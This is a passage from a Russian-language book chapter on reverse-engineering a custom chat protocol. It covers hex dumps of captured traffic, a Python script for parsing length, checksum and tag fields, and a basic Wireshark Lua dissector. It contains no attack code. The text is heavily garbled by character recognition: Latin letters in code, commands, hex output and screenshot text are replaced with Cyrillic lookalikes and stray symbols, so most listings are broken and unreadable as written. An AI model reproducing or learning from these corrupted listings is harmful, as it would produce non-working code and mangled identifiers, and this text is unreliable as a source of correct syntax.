00000022 05 61 бс 69 63 65 0с 48 65 бс бс 6+ 20 54 68 65 .а1ісе.Н еЦо Тһе 
00000032 72 65 21 ге! 

- -обрезано- - 


Исходящий поток начинается с четырех символов ВІМХ Ө. Эти сим- 
волы никогда не повторяются в остальной части потокаданных, иесли 
вы сравните разные сеансы, то всегда найдете те же самые четыре 
символа в начале потока. Если бы я не был знаком с этим протоколом, 
то моя интуиция на этом этапе сказала бы мне, что это магическое 
значение, отправляемое от клиента на сервер, чтобы сообщить сер- 
веру, что он обращается к действительному клиенту, а не к другому 
приложению, которое случайно подключилось к ТСР-порту сервера. 
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Следуя за потоком, мы видим, что отправляется последовательность 
из четырех блоков. Блоки Ө и Ө имеют размер 4 байта, блок Ө - 1 байт, 
а блок © больше и содержит в основном читабельный текст. Рассмот- 
рим первый блок из 4 байт Ө. Могут ли они представлять небольшое 
число, скажем целое значение 0хр или 13 в десятичном формате? 

Вспомните шаблон ТУ из главы 5. Это очень простой шаблон, 
в котором каждый блок данных ограничен значением, представляю- 
щим длину следующих данных. Этот шаблон особенно важен для по- 
токовых протоколов, например для протоколов, работающих поверх 
ТСР, потому что в противном случае приложение не знает, сколько 
данных ему нужно прочитать из соединения для обработки прото- 
кола. Если предположить, что это первое значение является длиной 
данных, соответствует ли она длине остальной части пакета? Давай- 
те выясним это. 

Подсчитайте общее количество байтов блоков (Ө, Ө, Ө и Ө), кото- 
рые кажутся одним пакетом. Результат - 21 байт, что на восемь боль- 
ше, чем значение 15, которое мы ожидали (целочисленное значение 
0хр). Значение блока длины может не учитывать его собственную 
длину. Если убрать блок длины (4 байта), результат будет равен 17, что 
на 4 байта больше целевой длины, но уже ближе. У нас также есть дру- 
гой неизвестный 4-байтовый блок Ө, длина которого соответствует 
потенциальной длине, но, возможно, и это не учитывается. Конечно, 
рассуждать легко, но факты важнее, поэтому проведем проверку. 


Проверим свои предположения 


Наданном этапе этого анализа я уже не смотрю на шестнадцатеричный 
дамп, потому что это не самый эффективный подход. Один из способов 
быстро проверить правильность наших предположений - экспортиро- 
вать данные для потока и написать простой код для парсинга структу- 
ры. Позже в этой главе мы напишем код для У тезрагК, который будет 
выполнять все наши проверки в графическом интерфейсе, а пока мы 
реализуем код с помощью РуПоп в командной строке. 

Чтобы перенести наши данные в Руіћоп, мы могли бы добавить 
поддержку чтения файлов перехвата Үігеѕһагк, но пока мы просто 
экспортируем байты пакета в файл. Чтобы экспортировать пакеты 
из диалогового окна, показанного на рис. 5.9, выполните следующие 
действия. 


1. Из раскрывающегося меню Показать и сохранить данные как 
выберите параметр Кам (Необработанные). 


2. Нажмите $ауе Аѕ (Сохранить как), чтобы экспортировать исхо- 
дящие пакеты в двоичный файл руѓеѕ оифоипа.бт. 


Нам также нужно экспортировать входящие пакеты, поэтому из- 
мените значение и выберите входящий трафик. Затем сохраните не- 
обработанные входящие байты, используя предыдущие шаги, но на- 
зовите файл руѓеѕ іпроипа.Біп. 
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Теперь используйте инструмент ХХР” (или аналогичный) в команд- 
ной строке, чтобы убедиться, что мы успешно передали данные, как 
показано в листинге 5.8. 


Листинг 5.8. Байты экспортированного пакета 


$ хха Буёеѕ_оџЕБоипа. Біп 

00000000: 4249 4е58 0000 000 0000 0473 0003 626+ ВІМХ....... Ѕ..Бо 
00000010: 6208 7573 6572 2462 6178 0000 0000 1200 Ь.иѕег-рох...... 
00000020: 0005 8703 0362 6#62 0с48 6177 2061 7265 ..... БоБ .Ном аге 
00000030: 2079 6175 3+00 0000 1с00 0008 е303 0362 уои?.......... ю) 
00000040: 6162 1654 6869 7320 6973 206е 6963 6520 оБ.Тһіѕ 15 пісе 
00000050: 6973 бе27 7420 6974 3100 0000 0100 0000 іѕп'Е 1{?....... 


00000060: 0606 0000 0013 0000 0479 0505 616с 6963 ......... у. .а1іс 
00000070: 6500 0000 0303 626# 6203 576{ 6100 0000 е..... БоБ .Моо... 
00000080: 1500 0006 8102 1349 2764 2067 6#69 беб7 ....... І'т 9оіпд 
00000090: 2061 7761 7920 бебҒ 7721 амау пом! 


Анализ протокола с помощью Руїћоп 


Теперь мы напишем простой сценарий на Руіћоп для анализа про- 
токола. Поскольку мы просто извлекаем данные из файла, не нужно 
писать никакой сетевой код; просто нужно открыть файл и прочитать 
данные. Нам также потребуется прочитать двоичные данные из фай- 
ла, в частности целое число сетевого порядка байтов для длины и не- 
известный 4-байтовый блок. 


Выполнение двоичного преобразования 


Для выполнения двоичных преобразований можно использовать 
встроенный модуль РуШПоп, $ЁгисЕ. Сценарий должен немедленно дать 
сбой, если ему что-то покажется неправильным, например неспособ- 
ность прочитать все данные, которые мы ожидаем от файла. Напри- 
мер, если длина составляет 100 байт, а мы можем прочитать только 
20 байт, чтение должно завершиться ошибкой. Если при парсинге 
файла ошибок не возникает, то мы можем быть более уверены в пра- 
вильности нашего анализа. В листинге 5.9 показана первая реализа- 
ция, написанная для работы в Руолп в версиях 2 и 3. 


Листинг 5.9. Пример сценария Рупоп для парсинга данных протокола 


гот ѕЁгисЕ ітрогё џпраск 

1трогЕ 5у5 

ітрогї 05 

# Читаем фиксированное количество байтов 
© еҒ геаа Буѓеѕ(Ғ, 1) 

Буїеѕ = Ё. геай(1) 
Ө і? 1еп(Буїеѕ) != 1: 
гаіѕе Ехсерііоп( "№4 епочдНн БуЁеѕ іп ѕёгеат") 
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гефигп Буќёеѕ 


# Распаковываем 4-байтовое целое число сетевого порядка байтов 
деҒ геаа іпі(Ғ): 
геёигп ипраск("!1", геаа Буїеѕ(Ғ, 4)) [0] 


# Читаем один байт 
деҒ геаа Буёе(Ғ): 
геёигп огд(геаа Буёеѕ(#Ғ, 1)) 


Ғ\Лепате = 5уѕ.агду[1] 
Е е_5126е = 05.раїһћ.деЁѕіғе(ҒіЛепате) 


+ = ореп(ҒіЛепаме, "гЬ") 
ргіпЕ("Мадіс: %5" % геаа Бу+еѕ(Ғ, 4)) 


# Продолжаем читать, пока не кончится файл 
мһіЛе Ғ.ёе11() < ЕЩе_512е: 
Лепдћ = геаа іпї(Ғ) 
ипК1 = геад іпЕ(Ғ) 
ипК? = геай Буёе(#) 
Дафа = геай Буеѕ(#, Лепдёһ - 1) 
ргіпі("Ееп: %0, УпК1: %9, УпК2: %4, раа: %5" 
% (1епдЕА, ипК1, ипК2, даїа)) 


Разберем важные фрагменты этого сценария. Сначала мы опре- 
деляем вспомогательные функции для чтения данных из файла. 
Функция геай Буїеѕ() ® считывает фиксированное количество бай- 
тов из файла, указанного в качестве параметра. Если байтов в файле 
недостаточно, чтобы выполнить чтение, то выбрасывается исклю- 
чение, чтобы указать на ошибку Ө. Мы также определяем функцию 
геай іпї() Ө для чтения 4-байтового целого числа из файла в сетевом 
порядке, где старший байт целого числа является первым в файле, 
а также определяем функцию для чтения одного байта ®. В основной 
части сценария мы открываем файл, переданный в командной стро- 
ке, и сначала читаем 4-байтовое значение Ө, которое, как мы ожи- 
даем, является магическим значением ВІМХ. Затем код входит в цикл 
©, пока есть данные для чтения, считывает длину, два неизвестных 
значения и, наконец, данные, а затем выводит значения в консоль. 

Когда вы запускаете сценарий из листинга 5.9 и передаете ему имя 
двоичного файла, который нужно открыть, все данные из файла долж- 
ны быть проанализированы, и никаких ошибок не должно возникать, 
если наш анализ, – согласно которому первый 4-байтовый блок - это 
длина данных, отправленных по сети, - верен. В листинге 5.10 пока- 
зан пример вывода в Руоп 3, который лучше отображает двоичные 
строки, чем Руфоп 2. 


Листинг 5.10. Пример вывода при запуске листинга 5.9 с двоичным файлом 


$ руЕВоп3 геад_ргофосо\.ру Бу+еѕ_оџёБоџпа. Біп 
Мадіс: Б'ВІМХ' 
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Геп: 15, Џпк1: 1139, УпК2: 0, раќа: Ь'\х0ЗБоБ\х08и5ег-Бох\х00' 

Геп: 18, Шпк1: 1415, УпК2: 3, Оафа: Б'\х0ЗБоБ\х@9сНом аге уои?' 

Геп: 28, Шпк1: 2275, Шпк2: 3, Бафа: Б"\х0ЗБоБ\х16ТВА$ 15 пісе 15п'{ 1+?" 

Геп: 1, Шпк1: 6, УпК2: 6, Бака: Б'' 

Геп: 19, УпК1: 1145, Шпк2: 5, раќа: Б'\х05а\1се\х00\х00\х00\х0з\х0ЗБоБ\х0ЗМоо' 
Геп: 21, Шпк1: 1677, Шпк2: 2, раќа: Б"\х13Т'м доіпд амау пом!" 


Обработка входящих данных 


Если запустить листинг 5.9 для экспортированного набора входящих 
данных, то вы сразу получите сообщение об ошибке, потому что во 
входящем протоколе нет магической строки ВІМХ, как показано в лис- 
тинге 5.11. Конечно, это то, чего мы ожидали, если бы в нашем ана- 
лизе произошла ошибка и поле длины оказалось не таким простым, 
как мы думали. 


Листинг 5.11. Ошибка, сгенерированная листингом 5.9 для входящих 
данных 


$ руєћһопЗ геай_ргоёосо1.ру Буеѕ_іпБоипа.Біп 
Мадіс: Ь'\х00\х00\х00\х02 ' 
ГеподЁћ: 1, УпКпоип1: 16777216, Шпкпомп2: 0, раќа: Б'' 
Тгасераск (тоѕЁ гесепё са11 1аѕё): 
ҒАЛе "геай ргоосо1.ру", 1іпе 31, іп <тоди\е> 
даа = геай Буеѕ(#, Лепдёһ - 1) 
Ре "геаа ргоёосо1. ру", 1іпе 9, іп геа Буіеѕ 
гаіѕе Ехсерііоп( "№ епоџдһћ Буёеѕ іп ѕЁгеат") 
Ехсерїіоп: №*% епоџдһ БуЁеѕ іп °{геам 


Можно устранить эту ошибку, немного изменив сценарий, чтобы 
включить в него проверку на предмет наличия магического значения 
и сбросить указатель файла, если он не равен строке ВІМХ. Добавьте 
следующую строку сразу после открытия файла в исходный сценарий, 
чтобы сбросить указатель файла на начало, если магическое значение 
неверно. 


1Ғ геад Буёеѕ(#, 4) != Б 'ВІМХ': Ғ. ѕеек(0) 


Теперь, после этой небольшой модификации, сценарий будет 
успешно выполняться с входящими данными, ив итоге будет получен 
результат, показанный в листинге 5.12. 


Листинг 5.12. Вывод измененного сценария для входящих данных 


$ руєћһопЗ геай_ргоёосо1.ру Буеѕ_іпБоџпа.Біп 

Геп: 2, Шпк1: 1, УпК2: 1, раёа: Б'\х90' 

Геп: 36, УпК1: 3146, Шпк2: 3, раќа: Ь"\х0зБоБ\х1еї'ме јиѕї јоіпей Ёгот изег-Бох" 
Геп: 18, Шпк1: 1415, УпК2: 3, раќа: Ь'\х0ЗБоБ\х@9сНом аге уои? ' 
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Разбираемся с неизвестными частями протокола 


Можно использовать вывод из листингов 5.10 и 5.12, чтобы вникнуть 
в неизвестные части протокола. Сначала рассмотрим поле ИпК1. Зна- 
чения, которые он принимает, кажутся разными для каждого пакета, 
но они низкие, от 1 до 5146. 

Однако наиболее информативными частями вывода являются сле- 
дующие две записи: одна от исходящих данных, а другая – от входя- 
ЩИХ. 


ООТВО0МО: Геп: 1, Шпк1: 6, УпК2: 6, раќа: Б'' 
ІМВООМО: Геп: 2, Шпк1: 1, УпК2: 1, Бака: Б'\х90' 


Обратите внимание, что в обеих записях значение ЦпК1 такое же, 
как и у ШпК2. Это могло бы быть совпадением, но тот факт, что обе 
записи имеют одинаковое значение, может указывать на что-то важ- 
ное. Также обратите внимание, что во второй записи длина равна 2, 
что включает значение пКк2 и значение данных 0, тогда как длина 
первой записи равна только 1 без конечных данных после значения 
ИпК2. Возможно, УпК1 имеет прямое отношение к данным в пакете? 
Давайте выясним это. 


Расчет контрольной суммы 


Обычно к сетевому протоколу добавляют контрольную сумму. Кано- 
нический пример контрольной суммы - это сумма всех байтов в дан- 
ных, которые вы хотите проверить на предмет наличия ошибок. Если 
предположить, что неизвестное значение - это простая контрольная 
сумма, можно суммировать все байты из примера с исходящим и вхо- 
дящим пакетами, которые я выделил в предыдущем разделе. В ре- 
зультате получится сумма, показанная в табл. 5.2. 


Таблица 5.2. Проверка контрольной суммы для примеров пакетов 


Неизвестное значение Байты данных Сумма байтов данных 
6 6 6 
1 1,0 1 


Хотя табл. 5.2, кажется, подтверждает, что неизвестное значение 
соответствует нашему ожиданию простой контрольной суммы для 
очень простых пакетов, нам все же необходимо проверить, подходит 
ли контрольная сумма для больших и более сложных пакетов. Есть два 
простых способа определить, правильно ли мы угадали, что неизвест- 
ное значение является контрольной суммой данных. Один из спосо- 
бов – отправить простые сообщения от клиента по возрастающей 
(например, А, затем В, потом С ит. д.), собрать данные и проанали- 
зировать их. Если контрольная сумма - это простое сложение, то зна- 
чение должно увеличиваться на 1 для каждого сообщения. В качестве 
альтернативы можно было бы добавить функцию для вычисления 


Анализ на практике 121 


контрольной суммы, чтобы увидеть, совпадает ли контрольная сумма 
между тем, что было перехвачено в сети, и вычисленным значением. 
Чтобы проверить наши предположения, добавьте код из листин- 
га 5.13 в сценарий из листинга 5.7 и добавьте к нему вызов после чте- 
ния данных для вычисления контрольной суммы. Затем просто срав- 
ните значение, извлеченное из перехвата, как Џпк1 и вычисленное 
значение, чтобы увидеть, совпадает ли наша вычисленная сумма. 


Листинг 5.13. Вычисление контрольной суммы пакета 


деҒ са1с сһкѕит(оипк2, дафа): 
сһКѕит = ипК2 
Рог і іп гапде(1еп(да+а)): 
сћКѕит += ога(даёа[1:1+1]) 
геёигп сћКѕит 


И это так! Вычисленные числа соответствуют значению Џпк1. Итак, 
мы обнаружили следующую часть структуры протокола. 


Обнаружение значения тега 


Теперь нам нужно определить, что может представлять собой УпК2. 
Поскольку значение Џпк2 считается частью данных пакета, предполо- 
жительно он связан со смыслом того, что отправляется. Однако, как 
мы видели в листинге 5.7, значение ЦпК2 записывается в сеть как од- 
нобайтовое значение, а это указывает на то, что фактически оно от- 
делено от данных. Возможно, это значение представляет собой тег из 
шаблона ТГУ, точно так же, как мы подозреваем, что длина является 
частью этой конструкции. 

Чтобы определить, является ли УпК2 на самом деле значением тега 
и представлением того, как интерпретировать остальные данные, мы 
максимально задействуем СһаїСіепї, испробуем все возможные ко- 
манды и зафиксируем результаты. Затем мы можем выполнить ба- 
зовый анализ, сравнивая значение ЦпК2 при отправке одного и того 
же типа команды, чтобы увидеть, всегда ли значение ИпК2 одинаково. 

Например, рассмотрим клиентские сеансы из листингов 5.4, 5.5 
И 5.6. В сеансе из листинга 5.5 мы отправили два сообщения одно за 
другим. Мы уже анализировали этот сеанс с помощью нашего сцена- 
рия на Руоп из листинга 5.10. Для простоты в листинге 5.14 показа- 
ны только первые три пакета (с последней версией сценария). 


Листинг 5.14. Первые три пакета из сеанса, представленного 
в листинге 5.5 


Ипк2: 0®, раѓа: Б' \х0ЗБоБ\х08и5ег-Бох\х00' 

Ипк2: 3@, Бата: Б '\хөзБоБ\хдсНом аге уоч?' 

Ипк2: ЗӨ, раа: Б"\х0ЗБоБ\х16ТВ\$ 15 пісе 15п'Е 10?" 
*обрезано* 
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Первый пакет ® не соответствует тому, что мы печатали в клиент- 
ском сеансе в листинге 5.5. Неизвестное значение - 0. Два сообщения, 
которые мы затем отправили в листинге 5.5, отчетливо видны в виде 
текста в части раѓа (Ө и Ө). Значение ИпК2 для обоих этих сообщений 
равно 3, что отличается от значения 0 для первого пакета. Основы- 
ваясь на данном наблюдении, можно предположить, что значение 3 
может представлять пакет, который отправляет сообщение, и если это 
так, то мы ожидаем найти значение 3, используемое в каждом соеди- 
нении при отправке одиночного значения. Фактически если вы сей- 
час проанализируете другой сеанс, содержащий отправляемые сооб- 
щения, то найдете то же значение 5, используемое всякий раз, когда 
отправляется сообщение. 


На данном этапе своего анализа я возвращался к раз- 
личным сеансам клиента и пытался соотнести действие, которое вы- 
полнял в клиенте, с отправленными сообщениями. Кроме того, я сопо- 
ставил сообщения, полученные от сервера, с выводом клиента. Конечно, 
это легко, если существует вероятность однозначного соответствия 
между командой, которую мы используем в клиенте, и результатом 
в сети. Однако более сложные протоколы и приложения могут быть 
не так очевидны, поэтому вам придется провести много корреляций 
и проверок, чтобы попытаться обнаружить все возможные значения 
для определенных частей протокола. 


Можно предположить, что ЦпК2 представляет собой тег структуры 
ТТУ. Путем дальнейшего анализа можно сделать выводы о возмож- 
ных значениях тега, как показано в табл. 5.3. 


Таблица 5.3. Предполагаемые команды из анализа перехваченных сеансов 


Номер команды Направление Описание 


0 
1 


Исходящее Отправляется, когда клиент подключается к серверу 


Входящее Отправляется с сервера после того, как клиент отправляет команду 
'0' серверу 

Оба Отправляется клиентом при использовании команды / иі. 
Отправляется сервером в ответ 

Оба Отправляется клиентом с сообщением для всех пользователей. 


Отправляется с сервера с сообщением от всех пользователей 
Исходящее Отправляется клиентом при использовании команды /тѕ9 
Исходящее Отправляется клиентом при использовании команды /1151 
Входящее Отправляется с сервера в ответ на команду /115# 


Мы создали таблицу команд, но до сих пор не знаем, 
как представлены данные для каждой из этих команд. Для дальнейшего 
анализа этих данных мы вернемся к ИПгезпагк и напишем код для раз- 
бора протокола и отображения его в графическом интерфейсе. Работа 
спростыми двоичными файлами может быть непростым делом, и хотя 
можно было бы использовать инструмент для парсинга файла перехва- 
та, экспортированного из Иігеѕћагк, лучше, чтобы большую часть этой 
работы выполнял ИПгезйагк. 
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Разработка диссекторов М/ігеѕһагк на Сиа 


С помощью М/ігеѕһагк можно легко проанализировать известный 
протокол, например НТТР, потому что эта программа может извлечь 
всю необходимую информацию. Но пользовательские протоколы не- 
много сложнее: для их анализа нам придется вручную извлечь всю 
необходимую информацию из байтового представления сетевого 
трафика. 

К счастью, можно использовать плагин М/ігеѕһагк, Ргоїосо] Гіѕѕес- 
согѕ, чтобы добавить в МігеѕћагКк анализ дополнительного протокола. 
Раньше для этого требовалось создание диссектора на языке С, что- 
бы работать с конкретной версией Мігеѕһагк, но современные вер- 
сии Мігеѕһагк поддерживают язык сценариев Га. Сценарии, которые 
вы пишете на Іиа, также будут работать с инструментом командной 
строки їѕһагкК. 

В этом разделе описывается, как разработать простой диссектор на 
Гоа для протокола ЅирегЕипкуСћһаї, который мы анализировали. 


Подробности разработки на языке Гиа и АРІ ИПгезйагк 
выходят за рамки этой книги. Для получения дополнительной информа- 
ции о том, как вести разработку на Гиа, посетите официальный сайт: 
һірѕ/Луму.иа.огд/10сѕ.һіті. Сайт ИЛгеѕһагк и в особенности ИЛКі – 
лучшее место для просмотра различных руководств и примеров кода 
(ћірѕ //Лмікі.уігеѕһагк.оғга/иа/. 


Перед разработкой диссектора убедитесь, что ваша копия Міге- 
ѕһагк поддерживает Гла, проверив диалоговое окно О программе 
УЛгезВа!К в разделе Нер > АБбоиї М/ігеѕһагк. Если вы видите слово 
Гиа в диалоговом окне, как показано на рис. 5.10, то все в порядке. 


Если вы запускаете И/ігеѕһагк от имени привилегиро- 
ванного пользователя в тпіх-подобной системе, то обычно поддержка 
Гиа отключена по соображениям безопасности, и вам нужно будет на- 
строить ИПгезрагК для запуска от имени непривилегированного поль- 
зователя, чтобы перехватывать и запускать сценарии на Іиа. См. до- 
кументацию по ИЛгезйагк для своей операционной системы, чтобы 
узнать, как сделать это безопасно. 


Можно разрабатывать диссекторы практически для любого прото- 
кола, с которым будет работать УЙгезВатК, включая ТСР и ОПР. Гораз- 
до проще разработать диссекторы для протоколов ОПР, чем для ТСР, 
потому что каждый перехваченный пакет ОРЮР обычно имеет все, что 
нужно диссектору. В случае с ТСР вам придется иметь дело с такими 
проблемами, как данные, которые охватывают несколько пакетов 
(именно поэтому нам нужно было учесть длину блока в нашей рабо- 
те над ЅирегЕипкуСћаї, используя сценарий на РуПоп в листинге 5.9). 
Поскольку с ОРР работать проще, мы сосредоточимся на разработке 
диссекторов для этого протокола. 
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Ж льо Млгеѕһагк ? х 


МИгезпа к Аиіћогѕ ҒоЇаегѕ Ріидіпѕ Кеубоага Ѕһогісиќѕ Исепзе 


и 95 
\ЛВЕЗНАКК 


Мебмогк Ргогосо! Апаутег 
Мегѕіоп 2.2.7 (\2.2.7-0-91861а96) 


Сорупд 1998-2017 Сегаіа СотЫЬѕ <дегаЧ@мигеВагК.огд> апа сопігібиќогѕ. 

Исепзе СР1у2+: СМУ СРІ уегѕіоп 2 ог Іаќег <Һр://ууум.дпи.огд/ісепѕеѕ/014-ісепѕеѕ/9рі-2.( 
Тһіѕ 15 Нее ѕоЙмаге; ѕее {Пе ѕоигсе Гог соруіпо сопаїїопѕ. Тһеге іѕ МО 

мгаггаг\у; поќ еуеп гог МЕВСНАМТАВИТУ ог ЕІТМ№ЕЅ5 РОВ. А РАВТІСШ АВ РОВРОЅЕ. 


Сотрііеа (64-і) мїћ ОЁ 5.6.1, мВ МИпРсар (4_1 3), мВ СЫ 2.42.0, міћ 
21 1.2.8, міїћ $МГ 0.4.8, мИН с-агез ОД ем Спиті5 
3.2.15, мА Ссгурі 1.6.2, м МІТ Кегрегоѕ, мїћ СеоїР, ми ОЕМиітеаїа, 
мї АігРсар. 


Аиппіпд оп 64-Б и Міпаомѕ 10, Бийа 15063, мі Іосаіе ЕпоЇіѕћ_Опіќеа 
Кіпддот.1252, мїћ МИпРсар мегѕіоп 4.1.3 (раскеї.а!! уегѕіоп 4.1.0.2980), Базе 
оп И6рсар мегѕіоп 1.0 Бгапсћ 1 0 геІ0Ь (20091008), ми Спит! 3.2.15, м 
Ссгурї 1.6.2, мощ АігРсар. 

Іпќеі(А) Соге(ТМ) 17-3770 СРО @ 3.40СН2 (м 55Е4.2), мВ 12251МВ оғ 
рһуѕіса! тетогу. 


Рис. 5.10. Диалоговое окно АБоиЕ Іїгеѕһагк, где показано, что данная версия 
поддерживает иа 


ЅирегЕипКкуСһаѓ поддерживает режим ОПР, передавая клиенту па- 
раметр командной строки --ч4р при запуске, что довольно удобно. 
Отправьте этот параметр во время перехвата - и увидите пакеты, 
подобные тем, что показаны на рис. 5.11. (Обратите внимание, что 
ҮГігеѕһагКк по ошибке пытается проанализировать трафик, используя 
протокол СУЗР, как показано в столбце Ргогосо] (Протокол) ®. Реали- 
зация собственного диссектора исправит эту ошибку.) 

Один из способов загрузить файлы Гла - поместить свои сценарии 
в каталог АРРРАТА%\ігеѕһагК\ріиғіпѕ в Міпаоуѕ или каталог ~/.соп- 
Ле/уігеһагк/рІивіпѕ в пих и тасО5. Также можно загрузить сценарий 
Гла, указав его в командной строке следующим образом, заменив ин- 
формацию о пути на расположение сценария: 


мігеѕһагк -Х 1џа ѕсгірё: </раёћ/о/ѕсгірі. 1иа> 


Если в синтаксисе вашего сценария есть ошибка, то вы должны 
увидеть диалоговое окно с сообщением, аналогичное тому, что пока- 
зано на рис. 5.12. (Конечно, это не самый эффективный способ раз- 
работки, но если вы просто занимаетесь прототипированием, то это 
нормально.) 
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7 | #1 оса! Агеа Соппесіоп (їр һоѕі 192.168.10.102) — х 


Ре Еа \ем бо Саріше Апауте Ѕіаїіѕіїсѕ Теіерһопу \Мгеез$ Тоо5 Нер 
дишло ЯЕ че = Е за 


А [Арріу а дїѕрІау ЯНег ... <Сіт-/> =] Ехргеѕѕіоп... + 
№. Тите боигсе Реѕііпайоп Ргоќосої Гепа Іпѓо ^ 
Е 1 е.өөөөөө 192.168.10.106 192.168.10.102 ЦОР 59 62980 > 12345 |еп=17 
20.038752 192.168.10.102 192.168.10.106 ЦОР 60 12345 + 62980 |еп=6 К 
3 4.826120 192.168.10.106 192.168.10.102 СҮЅР 66 РАУГОАО [В1оск ТО: 1615 Раскеї Ір: 352620] 
4 12.176718 192.168.10.106 192.168.10.102 6\/5Р ® 68 РАУГОАО [В1оск ТО: 1788 РасКее ТО: 352620] 
5 13.113146 192.168.10.106 192.168.10.102 ЦОР 47 62980 > 12345 Геп=5 
6 13.119926 192.168.10.102 192.168.10.106 —©\/5Р 60 ИпКпомп Рогтаф (0х7) [В1оск ТО: 7 Раскеї І... 
7 23.696625 192.168.10.106 192.168.10.102 СМ\ЅР 61 РАҮГОА”Р [В1оск ТО: 1231 Раскеї 10: 352620] 
8 27.304872 192.168.10.106 192.168.10.102 СМҮЅР 56 ТВАТЬЕК [В1оск Ір: 766 Раске ТО: 541305] ... У 
> Егате 4: 68 буеѕ оп м1ге (544 614$), 68 Буфез сарёигей (544 614$) оп іпёегҒасе ё 
> Еһегпе ІІ, $гс: Юе11 6с:78:8е (5с:#9:14:6с:78:8е), 051: М1сгозо+_49:65:е7 (28:18:78:49:65:е7) 
> Тпеегпе{ Ргоёосо1 Мегѕіоп 4, $гс: 192.168.10.106, Юѕї: 192.168.10.102 
> Узег Бафаргат Ргофосо1, Ѕгс Рог: 62980, рѕї Рогі: 12345 
> бівЕ Міѕіоп $+геаш1п8р Ргоёосо1 
0009 28 18 78 49 Ы5 е7 5с +9 ай бс 78 Зе 08 00 45 09 Ст. АЕ: 
0910 00 36 26 Ба 00 00 80 11 00 00 се а8 Өа ба сө ав ба: че 3.. 
0920 Ва 66 +6 04 30 39 00 22 96 54 ӨӨ 00 06 +с 03 05 25:99." Теа 
0939 61 бс 69 63 65 Өде 54 68 69 73 20 69 73 20 67 72 а1ісе.Тһ 1$ 1$ вг 
0949 65 61 74 21 еаї! 


© 2 ігеѕһагк 7САСВАВб-ҒӘР8-4ВЕВ-80АЮ-80373036ЕА84 20170705174531_ а02964 | Раскеіѕ: 9 - Оіѕріауеа: 9 (100.0%) | Ргойіе: Оеѓашё 


Рис. 5.11. Иігеѕһагк показывает перехваченный ОРР-трафик 


И Мена х 


ша: зутах еггог 4ийпд ргесогпрйаНоп о} `0: 
\аіѕѕесіогІџа": 
[ѕїгіпо "Ол\аіѕѕесќог.Іиа"]:12: зутах еггог пеаг 


Ғипсіоп' 


Рис. 5.12. Диалоговое окно с сообщением об ошибке 


Создание диссектора 


Чтобы создать диссектор для протокола ЅирегЕипкуСћаї, сначала создай- 
те базовую оболочку диссектора и зарегистрируйте ее в списке диссек- 
торов Мігеѕһагк для Орр-порта 12345. Скопируйте листинг 5.15 в файл 
аіѕѕесіог.Іиа и загрузите его в УігеѕһагК вместе с соответствующим пере- 
хватом пакетов ОРР-трафика. Он должен работать без ошибок. 


Листинг 5.15. Базовый диссектор И/гезрагк на Гиа 


аіѕѕесіог.ша -- Объявляем протокол для разбора 
Ө сһаї _ргоїо = Ргофо("сра*" ,"бирегРипкуСва* Ргофосо1") 
-- Указываем поля протокола 
Ө сһаї ргоёо.Ғіе145.сһкѕит = РгоёоҒіе1а. иіпЕ32("сһаЁ.сҺКѕит", "Сһескѕит", 
Баѕе.НЕХ) 
спа ргоёо.Ғ\іе145.соттапа = РгоёоРіе14. иіпЕ8("сһа. соттап", "Соттапа") 
сһа_ргоёо.Ғіе145.даа = РгоёоҒіе1а.Буёеѕ("сһаї. даа", "Раёа") 
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-- Функция диссектора 
-- БиЁҒғег: данные пакета ЦОР в виде «тестового виртуального буфера». 
-- ріпЁо: информация о пакете 
-- {гее: корень дерева пользовательского интерфейса 
Рипс оп сһа ргофо. 91 5зесфог(Би Рег, ріпҒо, {гее) 
-- Задаем имя в столбце протокола в пользовательском интерфейсе 
Ө ріпҒо.со15.ргоёосо1 = "СНАТ" 


-- Создаем вложенное дерево, которое представляет весь буфер 
© Лоса1 ѕџиБігее = ёгее:айй(сһаЁ ргоёо, БиЁРег(), 
"ЅирегЕипкуСһаё Ргоїосо1 Ваа") 
ѕибёгее:аад(сһа_ргоёо. Ғ\іе145.сһкѕит, БиЁҒег(0, 4)) 
ѕиБігее:айд(сһа ргоїо.Ғіе145.соттапа, БиРег(4, 1)) 
ѕибёгее:айд(сһає _ргоёо.Ғ\іе145.йаёа, БиРег(5)) 
епі 


-- Получаем таблицу диссектора ЦОР и добавляем ее для порта 12345 
џар +аБ1е = ріѕѕесіогТаБ1е.де("иар.рогё") 
иар _ФаБ1е:айд(12345, сһаї ргоёо) 


При первоначальной загрузке сценария создается новый экземп- 
ляр класса Рго&о Ө, который представляет собой экземпляр протокола 
МИтезрагК, и ему присваивается имя сһаї ргоїо. Хотя можно создать 
это дерево вручную, я решил определить конкретные поля для про- 
токола Ө, чтобы они были добавлены в механизм фильтров отобра- 
жения и вы смогли задать для фильтра отображения сһаї. соттап 
значение 0, (сһаЁ.сотпапа == 0), поэтому Мігеѕһагк будет показывать 
только пакеты с командой 0. (Этот метод очень полезен для анали- 
за, потому что вы можете легко фильтровать определенные пакеты 
и разбирать их по отдельности.) 

На этапе Ө сценарий создает функцию іѕѕесїог() экземпляра 
объекта класса Ргоїо, которая будет вызываться для анализа пакета. 
Она принимает три параметра: 


• буфер, содержащий данные пакета, который является экземпля- 
ром того, что МігеѕһагК называет Теѕїу Уштиа| Виҝег (ТУВ); 


• экземпляр информации о пакете, представляющий отображае- 
мую информацию для разбора; 

• объект дерева гоої для пользовательского интерфейса. Можно 
присоединить к нему подузлы, чтобы сгенерировать отображе- 
ние пакетных данных. 


На этапе Ө мы задаем имя протокола в столбце пользовательского 
интерфейса (как показано на рис. 5.11): СНАТ. Затем создаем дерево 
элементов протокола Ө, которые разбираем. Поскольку ОПР не имеет 
явного поля длины, не нужно принимать это во внимание; мы долж- 
ны извлечь только поле контрольной суммы. Мы используем пара- 
метр Би ег для создания диапазона, который принимает начальный 
индекс в буфер и необязательную длину. Если длина не указана, то 
используется остальная часть буфера. 
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Затем мы регистрируем диссектор протокола с помощью табли- 
цы диссекторов ОПР. (Обратите внимание, что функция, которую мы 
определили ®, на самом деле пока еще не выполняется.) Наконец, 
мы получаем таблицу ОРР и добавляем объект сһаї_ргоќёо в таблицу 
с портом 12345 Ө. Теперь мы готовы приступить к разбору. 


Разбор при помощи Шиа 


Запустите Мігеѕһагк, используя сценарий из листинга 5.15 (например, 
применяя параметр -Х), а затем загрузите перехват пакета трафика 
ООР. Следует убедиться, что диссектор загрузил и разобрал пакеты, 
как показано на рис. 5.13. 


Я сар ца с.рсарпд — х 
Ее Еа \Мем бо Сарішге Апајуге Ѕіаїіѕіїсѕ Теіерһопу \Мгеез$ Тоо5 Нер 


ие яе 4 еә= +05 = аааз 
